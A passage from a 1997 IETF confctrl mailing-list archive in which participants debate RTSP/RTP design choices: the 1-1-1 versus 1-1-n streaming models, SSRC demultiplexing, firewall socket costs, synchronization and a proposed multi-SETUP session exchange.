the reduced data handling.  I agree that wasting bits for additional
demultiplexing information is not good.  I'm arguing for using
existing lower-level demultiplexing information.

> I also think you're stretching a bit on the claim that this model breaks down
> for multi-cast. It in fact does _not_ break down for multicast, as you should
> note that many of the products I mentioned above also support multicast and 
> I'd suspect they use a similar packet format (if not identical format) in the 
> multicast and unicast cases. 

The multicast case you're considering is probably when there is only
one server sending to a multicast session.  When there are multiple
sources sending into a session, then keeping track of which SSRCs
belong to which of the logical RTP sessions that are squeezed into one
real RTP session is messy.  You are right, it could be done, but are
there benefits sufficient to make that choice worthwhile?  The
difficulty with this discussion is that there is none of this that
couldn't be made to work one way or another.  It's a matter of
tradeoffs: optimization for a specific function vs. generality.  I'm
arguing for keeping the mechanisms for dealing with multimedia RTP
sessions the same across a range of RTP-based applications so that
when those applications bump into each other, as they surely will, we
don't get sparks.

This becomes more important when considering not just a particular
vendor's server talking to that same vendor's client, but also
interoperation of components from multiple vendors.

What are the costs you want to avoid with the 1-1-1 model?  Number of
sockets at the server?  What are the real limitations?

> The real issue of using SSRCs as presented by Rob would be for the multiple 
> sender case. It seems to me that the multiple sender case is out of the scope 
> of RTSP. I believe the group has agreed for example that gateways should 
> be used to "stream into conferences" and as such, the gateway can solve 
> the SSRC mapping.

I don't recall that the group has agreed gateways should be used.
When was that?

Again, my point is that it is best to avoid making the single sender
case different from the multiple sender case unless we are really
forced to do so.
							-- Steve


From majordom@ISI.EDU  Thu Jun 26 16:26:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24363>; Thu, 26 Jun 1997 23:42:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24357>; Thu, 26 Jun 1997 23:42:06 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA13107>; Thu, 26 Jun 1997 23:42:05 -0700
Received: from revelstoke.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id XAA22478; Thu, 26 Jun 1997 23:24:11 -0700
Date: Thu, 26 Jun 1997 23:26:35 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Rob Lanphier <robla@prognet.com>, "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: Container files and various methods of dealing with them
In-Reply-To: <01BC81B7.15C28880@dialnet8-21.cortland.com>
Message-Id: <Pine.PCW.3.95.970626231854.10286C-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There were two other points I forgot to make:

  - Even in 1-1-1, there would be more than 1 UDP port number unless
    you intend to specify that RTCP is not used and that
    synchronization is to be done by some other means.

  - If it is agreed that 1-n-n needs to be supported for some cases,
    then I claim it is better not to specify 1-1-1 as well since 1-n-n
    is a "superset" of 1-1-1 in some sense.  Having lots of options
    and lots of flexibility is a not a good design goal for a
    protocol; it complicates implementations, increasing the
    probability of errors, and it decreases the probability of
    successful interoperation of multiple implementations.

							-- Steve


From majordom@ISI.EDU  Fri Jun 27 03:00:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07432>; Fri, 27 Jun 1997 10:03:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07426>; Fri, 27 Jun 1997 10:03:49 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07734>; Fri, 27 Jun 1997 10:03:46 -0700
Received: from correro-PPP2.prognet.com by murrow.prognet.com with SMTP id AA22287
  (5.67b/IDA-1.5); Fri, 27 Jun 1997 10:06:09 -0700
Received: by correro-PPP2.prognet.com with Microsoft Mail
	id <01BC82E0.E4E920E0@correro-PPP2.prognet.com>; Fri, 27 Jun 1997 10:00:08 -0700
Message-Id: <01BC82E0.E4E920E0@correro-PPP2.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: Brad Hefta-Gaub <brad@prognet.com>,
        'Stephen Casner'
	 <casner@precept.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>, Rob Lanphier
	 <robla@prognet.com>
Subject: RE: Container files and various methods of dealing with them
Date: Fri, 27 Jun 1997 10:00:03 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>> What are the costs you want to avoid with the 1-1-1 model?  Number of
>> sockets at the server?

* Number of sockets at the client.
* Number of sockets at the server. 
* Number of sockets at the firewall. 

My biggest concern is number of sockets at the firewall.

-Brad


From majordom@ISI.EDU  Fri Jun 27 03:00:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07424>; Fri, 27 Jun 1997 10:03:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07418>; Fri, 27 Jun 1997 10:03:42 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07726>; Fri, 27 Jun 1997 10:03:40 -0700
Received: from correro-PPP2.prognet.com by murrow.prognet.com with SMTP id AA22287
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 27 Jun 1997 10:06:09 -0700
Received: by correro-PPP2.prognet.com with Microsoft Mail
	id <01BC82E0.E4E920E0@correro-PPP2.prognet.com>; Fri, 27 Jun 1997 10:00:08 -0700
Message-Id: <01BC82E0.E4E920E0@correro-PPP2.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: Brad Hefta-Gaub <brad@prognet.com>,
        'Stephen Casner'
	 <casner@precept.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>, Rob Lanphier
	 <robla@prognet.com>
Subject: RE: Container files and various methods of dealing with them
Date: Fri, 27 Jun 1997 10:00:03 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>> What are the costs you want to avoid with the 1-1-1 model?  Number of
>> sockets at the server?

* Number of sockets at the client.
* Number of sockets at the server. 
* Number of sockets at the firewall. 

My biggest concern is number of sockets at the firewall.

-Brad


From majordom@ISI.EDU  Fri Jun 27 05:38:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16634>; Fri, 27 Jun 1997 12:40:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16627>; Fri, 27 Jun 1997 12:40:51 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA14741>; Fri, 27 Jun 1997 12:40:47 -0700
Received: from scv2.apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id MAA15740
	for <confctrl@ISI.EDU>; Fri, 27 Jun 1997 12:38:38 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv2.apple.com (8.8.5/8.8.5) with ESMTP id MAA10954
	for <confctrl@ISI.EDU>; Fri, 27 Jun 1997 12:38:58 -0700
Date: Fri, 27 Jun 1997 12:38:58 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020917afd95d2b7aa9@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: RTP inter-media synchronization in "non-MPEG-style" 1-1-1
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>1-1-1 has always been possible, and that is how PN plans to stream
>container files.  The way that this is done in unicast is that the streams
>are multiplexed using the SSRC, and the SSRC values are enumerated in the
>session description.  It would probably be a good idea to do a more
>rigorous definition of this.  If necessary for multicast, we could have
>separate SSRC and a new field (added via standard RTP mechanism) so that
>the SSRC selection and the stream id don't get mixed up.  A more rigorous
>writeup is needed here.

How is inter-media synchronization done in "non-MPEG-style" 1-1-1?
NOTE: "non-MPEG-style" refers to the scheme described above.

The classic RTP way is to associate the RTCP cname of the
senders (SSRCs) from each RTP session and synchronize them.
All the senders that are part of the same presentation
use the same cname in this scheme.

However, when doing 1-1-1 as explained above there is
only one RTP session. So for this to work the classic
RTP method can not be used for inter-media synchronization.
So one has to rely on just the RTP timestamp for
synchronization. correct?

Do the RTP timestamps come from different spaces for
each media? If yes, then how is the synchronization
between the media established? If no, then this
scheme preclude using different timescales for different
media. Is this a good thing?





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Fri Jun 27 07:28:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25419>; Fri, 27 Jun 1997 14:52:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25412>; Fri, 27 Jun 1997 14:52:00 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19787>; Fri, 27 Jun 1997 14:51:55 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id OAA24698; Fri, 27 Jun 1997 14:28:43 -0700
Date: Fri, 27 Jun 1997 14:28:42 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: "confctrl@isi.edu" <confctrl@isi.edu>
Subject: RE: Container files and various methods of dealing with them
In-Reply-To: <01BC82E0.E4E920E0@correro-PPP2.prognet.com>
Message-Id: <Pine.SOL.3.93.970627142359.19942A-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> >> What are the costs you want to avoid with the 1-1-1 model?  Number of
> >> sockets at the server?
> 
> * Number of sockets at the client.
> * Number of sockets at the server. 
> * Number of sockets at the firewall. 

I haven't seen that any of these are particularly scarce resources.

I suspect your concern is actually the table size and table search time
overhead as more UDP port numbers are utilized.

		--karl--



From majordom@ISI.EDU  Mon Jun 30 05:16:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15791>; Mon, 30 Jun 1997 12:17:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15784>; Mon, 30 Jun 1997 12:17:50 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA23447>; Mon, 30 Jun 1997 12:17:49 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA21378
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 30 Jun 1997 12:20:49 -0700
Message-Id: <3.0.32.19970630121624.011c2eec@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 30 Jun 1997 12:16:25 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Container files and various methods of dealing with them
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:23 PM 6/25/97 -0700, Rob Lanphier wrote:
>There are three scenarios that we are dealing with here:
>
>1-1-1    One container file controlled by one RTSP session which streams to 
>         one UDP port via RTP
>1-1-n    One container file controlled by one RTSP session which streams to 
>         n UDP ports via RTP
>1-n-n    One container file controlled by n RTSP sessions which stream to 
>         n UDP ports via RTP
...
>1-1-n is not possible currently.  There are ways that I could imagine doing
>this without changing the nature of the SETUP request/reply (which is
>strictly an exchange of tranpsort information) and DESCRIBE (which is
>strictly an exchange of media description information).  I'm opposed to
>putting transport parameters in DESCRIBE when there are alternatives
>available.  Rather than getting mired in how it should be done, the first
>task is determining if 1-1-n is a requirement.

Through this conversation and others, myself and others here at PN are
becoming convinced that 1-1-n is a necessity.  Here are the reasons:

1-1-n vs. 1-1-1
*  Demultiplexing RTP via anything other than port is non-standard, and the
resource trade-offs aren't worth bucking the standard.

1-1-n vs. 1-n-n
*  With on-demand streams, there is a necessity to get all RTP streams
referenced to a common NPT, and have PLAY/PAUSE apply to that common NPT.
*  Many container file formats support the concept of pre-interleaving.  We
would like to make it possible for the server to dump all of the streams
from a container onto the wire in a standard format without having to open
n instances of the same file.
*  Being able to record multiple streams into a single container is
something that an exclusively 1-n-n system wouldn't be able to handle.

I've got to put some polish on a 1-1-n proposal that we have, but I realize
that we don't necessarily have a consensus that 1-1-n is necessary.  Does
anyone have a fundemental problem with 1-1-n at this point, or can we move
the discussion onto the brass tacks of how to do 1-1-n?

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jun 30 23:56:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19446>; Tue, 1 Jul 1997 04:29:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19440>; Tue, 1 Jul 1997 04:29:19 -0700
Received: from novell.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA05402>; Tue, 1 Jul 1997 04:29:16 -0700
Received: from INET-PRV-Message_Server by novell.com
	with Novell_GroupWise; Tue, 01 Jul 1997 05:29:14 -0600
Message-Id: <s3b895aa.055@novell.com>
X-Mailer: Novell GroupWise 4.1
Date: Tue, 01 Jul 1997 05:56:47 -0600
From: Rakesh Manocha <MRAKESH@novell.com>
To: confctrl@isi.edu
Subject: Questions on RTSP
Mime-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

I have the following  questions on RTSP  and would appreciate if someone
would clarify.

[1]  Where can I find a description of RTSL ?

[2]  Is the following correct ?

Consider a presentation consisting of 1 audio and 1 video stream.

case 1 :  If the audio and video streams reside on different servers, then
the client will have to setup and handle two RTSP sessions.

case 2 : If both the audio and video stream reside on the same server, then
the client will always use a single RTSP session and distinguish between
streams using URIs.

[3]  is there a reference implementation of a RTSP client available
somewhere ?
(one which is based on draft-ietf-mmusic-rtsp-01 or
draft-ietf-mmusic-rtsp-02 )

Thanks in advance.


Rakesh Manocha
mrakesh@novell.com
Novell India Development Center
Phone : +91-80-5537856 Extn 2008
Fax : +91-80-5537892
 

From majordom@ISI.EDU  Tue Jul  1 19:59:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25391>; Tue, 1 Jul 1997 08:59:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25385>; Tue, 1 Jul 1997 08:59:35 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA12194>; Tue, 1 Jul 1997 08:59:22 -0700
Received: by www45.inria.fr (8.8.5/8.7.3) id RAA05237; Tue, 1 Jul 1997 17:59:02 +0200 (MET DST)
Message-Id: <199707011559.RAA05237@www45.inria.fr>
To: confctrl@isi.edu
From: Philipp Hoschka <hoschka@w3.org>
Subject: SMPTE semantics
Date: Tue, 01 Jul 1997 17:59:01 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


What is the meaning of the SMPTE "frames" parameter if the RTSP resource
is *not* a video file ?

The sample number ?

Or is it illegal to use the "frames" parameter for anything else than
video ?

The spec is silent on this


From majordom@ISI.EDU  Wed Jul  2 09:15:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03730>; Tue, 1 Jul 1997 22:15:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03724>; Tue, 1 Jul 1997 22:15:48 -0700
Received: from uni-sb.de by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20919>; Tue, 1 Jul 1997 22:15:46 -0700
Received: from octavie.dag.uni-sb.de (octavie.dag.uni-sb.de [192.76.146.1])
          by uni-sb.de (8.8.6/97052600) with ESMTP
          id HAA25349; Wed, 2 Jul 1997 07:15:39 +0200 (CEST)
Received: from anna.dag.uni-sb.de (anna.dag.uni-sb.de [192.76.146.16])
          by octavie.dag.uni-sb.de (8.8.5/97052600) with ESMTP
          id HAA17922; Wed, 2 Jul 1997 07:15:38 +0200 (CEST)
Received: by anna.dag.uni-sb.de with SMTP; Wed, 2 Jul 1997 07:15:37 +0200 (CEST)
Message-Id: <33B9E3F8.41C67EA6@cs.columbia.edu>
Date: Wed, 02 Jul 1997 07:15:36 +0200
From: "Henning Schulzrinne (Dagstuhl)" <hgs@cs.columbia.edu>
X-Mailer: Mozilla 3.01 (X11; I; SunOS 4.1.4 sun4m)
Mime-Version: 1.0
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU
Subject: Re: SMPTE semantics
References: <199707011559.RAA05237@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
> 
> What is the meaning of the SMPTE "frames" parameter if the RTSP resource
> is *not* a video file ?
> 
> The sample number ?
> 
> Or is it illegal to use the "frames" parameter for anything else than
> video ?
> 
> The spec is silent on this

Since this is really just a timestamp with a 'funny' sub-second
resolution, it should be translated into an absolute time when needed.
This is independent of the media type.

From majordom@ISI.EDU  Wed Jul  2 07:38:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06780>; Wed, 2 Jul 1997 15:03:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06760>; Wed, 2 Jul 1997 15:03:07 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21734>; Wed, 2 Jul 1997 15:03:03 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12247
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 2 Jul 1997 14:42:47 -0700
Message-Id: <3.0.32.19970702143800.01725668@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 02 Jul 1997 14:38:03 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Solving 1-1-n
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here's how we would like to solve the 1-1-n streaming issue.  This proposal
involves the following changes to RTSP:

*  Sending "Session" fields from client to server in SETUP messages
*  Association of multiple SETUP requests to a single PLAY request via
   "Session" field.

Given a single URL pointing to a container with n streams, there would be 1
DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.

Here's what a 1-1-n exchange looks like:

   C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Session: 1234
         Content-Type: application/sdp

         v=0
         o=- 2890844526 2890842807 IN IP4 192.16.24.202
         s=RTSP Session
         m=audio 0 RTP/AVP 0
         a=streamid:aud
         m=video 0 RTP/AVP 31
         a=streamid:vid
 
   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
         StreamID: aud
         Transport: rtp/udp;port=3056,
                    rtp/tcp
         
   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: aud
         Transport: rtp/udp;port=3056

   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
         Session: 1234
         StreamID: vid
         Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 200 3 OK
         StreamID: vid
         Transport: rtp/udp;port=3058
         
   C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 4
         Session: 1234

   S->C: RTSP/1.0 200 4 OK
         SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
  (note: "SequenceNo" is a new field which I will explain in a separate
         email.  The quick explanation is that it provides the initial RTP
         sequence number for each stream)

Now, for those of you counting roundtrips, you may notice that the
dependencies here necessitate 4 roundtrips (assuming the only piece of info
one starts with is an URL), since the DESCRIBE is necessary to get the
stream ids, the first SETUP is necessary to get the "Session:" id that is
sent with the next SETUP.  The SETUP and PLAY *may* be pipelined, but
that's pretty unwise, since if there are multiple transports, it may be
hard knowing which transport will be selected.

The "unnecessary" roundtrip comes from not being able to pipeline the first
SETUP with the 2nd through n SETUP messages.  A solution to this problem is
to create a pipeline-able zero-th SETUP message, which exclusively serves
as a means of getting a Session id, as follows:

Roundtrip #
|
v
0.5 C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
          Accept: application/sdp
 
0.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2

1   S->C: RTSP/1.0 200 1 OK
          Session: 1234
          Content-Type: application/sdp

          v=0
          o=- 2890844526 2890842807 IN IP4 192.16.24.202
          s=RTSP Session
          m=audio 0 RTP/AVP 0
          a=streamid:aud
          m=video 0 RTP/AVP 31
          a=streamid:vid

1   S->C: RTSP/1.0 200 2 OK
          Session: 1234

1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
          Session: 1234
          StreamID: aud
          Transport: rtp/udp;port=3056,
                     rtp/tcp
         
1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 4
          Session: 1234
          StreamID: vid
          Transport: rtp/udp;port=3058,
                     rtp/tcp

2   S->C: RTSP/1.0 200 3 OK
          StreamID: aud
          Transport: rtp/udp;port=3056

2   S->C: RTSP/1.0 200 4 OK
          StreamID: vid
          Transport: rtp/udp;port=3058
         
2.5 C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
          Session: 1234

3   S->C: RTSP/1.0 200 5 OK
          SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
Both techniques would be acceptable, with the latter provided as a better
roundtrip performer.  The pipelineable "Transport"-less SETUP message could
even be sent prior to the DESCRIBE to ensure the integrity of the DESCRIBE.
(Clients want to be sure the file that was DESCRIBEd is the same file they
issue a SETUP on, and since DESCRIBE is stateless, there is normally no way
to be sure.  Sending a SETUP prior to the DESCRIBE implies the server will
keep track of the media file for the duration of the Session).





---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Wed Jul  2 07:38:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06780>; Wed, 2 Jul 1997 15:03:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06760>; Wed, 2 Jul 1997 15:03:07 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA21734>; Wed, 2 Jul 1997 15:03:03 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA12247
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 2 Jul 1997 14:42:47 -0700
Message-Id: <3.0.32.19970702143800.01725668@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 02 Jul 1997 14:38:03 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Solving 1-1-n
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Here's how we would like to solve the 1-1-n streaming issue.  This proposal
involves the following changes to RTSP:

*  Sending "Session" fields from client to server in SETUP messages
*  Association of multiple SETUP requests to a single PLAY request via
   "Session" field.

Given a single URL pointing to a container with n streams, there would be 1
DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.

Here's what a 1-1-n exchange looks like:

   C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Session: 1234
         Content-Type: application/sdp

         v=0
         o=- 2890844526 2890842807 IN IP4 192.16.24.202
         s=RTSP Session
         m=audio 0 RTP/AVP 0
         a=streamid:aud
         m=video 0 RTP/AVP 31
         a=streamid:vid
 
   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
         StreamID: aud
         Transport: rtp/udp;port=3056,
                    rtp/tcp
         
   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: aud
         Transport: rtp/udp;port=3056

   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
         Session: 1234
         StreamID: vid
         Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 200 3 OK
         StreamID: vid
         Transport: rtp/udp;port=3058
         
   C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 4
         Session: 1234

   S->C: RTSP/1.0 200 4 OK
         SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
  (note: "SequenceNo" is a new field which I will explain in a separate
         email.  The quick explanation is that it provides the initial RTP
         sequence number for each stream)

Now, for those of you counting roundtrips, you may notice that the
dependencies here necessitate 4 roundtrips (assuming the only piece of info
one starts with is an URL), since the DESCRIBE is necessary to get the
stream ids, the first SETUP is necessary to get the "Session:" id that is
sent with the next SETUP.  The SETUP and PLAY *may* be pipelined, but
that's pretty unwise, since if there are multiple transports, it may be
hard knowing which transport will be selected.

The "unnecessary" roundtrip comes from not being able to pipeline the first
SETUP with the 2nd through n SETUP messages.  A solution to this problem is
to create a pipeline-able zero-th SETUP message, which exclusively serves
as a means of getting a Session id, as follows:

Roundtrip #
|
v
0.5 C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
          Accept: application/sdp
 
0.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2

1   S->C: RTSP/1.0 200 1 OK
          Session: 1234
          Content-Type: application/sdp

          v=0
          o=- 2890844526 2890842807 IN IP4 192.16.24.202
          s=RTSP Session
          m=audio 0 RTP/AVP 0
          a=streamid:aud
          m=video 0 RTP/AVP 31
          a=streamid:vid

1   S->C: RTSP/1.0 200 2 OK
          Session: 1234

1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
          Session: 1234
          StreamID: aud
          Transport: rtp/udp;port=3056,
                     rtp/tcp
         
1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 4
          Session: 1234
          StreamID: vid
          Transport: rtp/udp;port=3058,
                     rtp/tcp

2   S->C: RTSP/1.0 200 3 OK
          StreamID: aud
          Transport: rtp/udp;port=3056

2   S->C: RTSP/1.0 200 4 OK
          StreamID: vid
          Transport: rtp/udp;port=3058
         
2.5 C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
          Session: 1234

3   S->C: RTSP/1.0 200 5 OK
          SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
Both techniques would be acceptable, with the latter provided as a better
roundtrip performer.  The pipelineable "Transport"-less SETUP message could
even be sent prior to the DESCRIBE to ensure the integrity of the DESCRIBE.
(Clients want to be sure the file that was DESCRIBEd is the same file they
issue a SETUP on, and since DESCRIBE is stateless, there is normally no way
to be sure.  Sending a SETUP prior to the DESCRIBE implies the server will
keep track of the media file for the duration of the Session).





---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Jul  3 12:47:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14263>; Thu, 3 Jul 1997 01:47:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA14257>; Thu, 3 Jul 1997 01:47:52 -0700
Received: from pbinfo by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02455>; Thu, 3 Jul 1997 01:47:50 -0700
Received: from IDENT-NONSENSE@freeway (port 33426 [131.234.72.33]) by pbinfo.uni-paderborn.de with ESMTP id <52574-23249>; Thu, 3 Jul 1997 10:47:39 +0200
Received: (from cortes@localhost) by freeway.uni-paderborn.de (8.7.5/8.7.3) id KAA04487; Thu, 3 Jul 1997 10:47:21 +0200 (MET DST)
From: <cortes@uni-paderborn.de>
Message-Id: <199707030847.KAA04487@freeway.uni-paderborn.de>
Subject: Re: Solving 1-1-n
To: confctrl@isi.edu
Date: Thu, 3 Jul 1997 10:47:20 +0200 (MET DST)
Cc: robla@prognet.com
In-Reply-To: <3.0.32.19970702143800.01725668@mail.prognet.com> from "Rob Lanphier" at Jul 2, 97 02:38:03 pm
X-Mailer: ELM [version 2.4 PL25 PGP2]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

 
	A couple of comments about the proposal.
I hope they make sense for you. (Sorry if I misunderstand something
and they don't)


> Here's how we would like to solve the 1-1-n streaming issue.  This proposal
> involves the following changes to RTSP:
>    "Session" field.
> [...] 
> Given a single URL pointing to a container with n streams, there would be 1
> DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.
> 
> Here's what a 1-1-n exchange looks like:
> 
>    C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>          Accept: application/sdp
> 
>    S->C: RTSP/1.0 200 1 OK
>          Session: 1234
           ^^^^^^^^^^^^^

	Is that a typo, or the Session Id. can be sent as early as
to the answer to a DESCRIBE?

>          Content-Type: application/sdp
> 
>          v=0
> [...]
  
>    C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
>          StreamID: aud
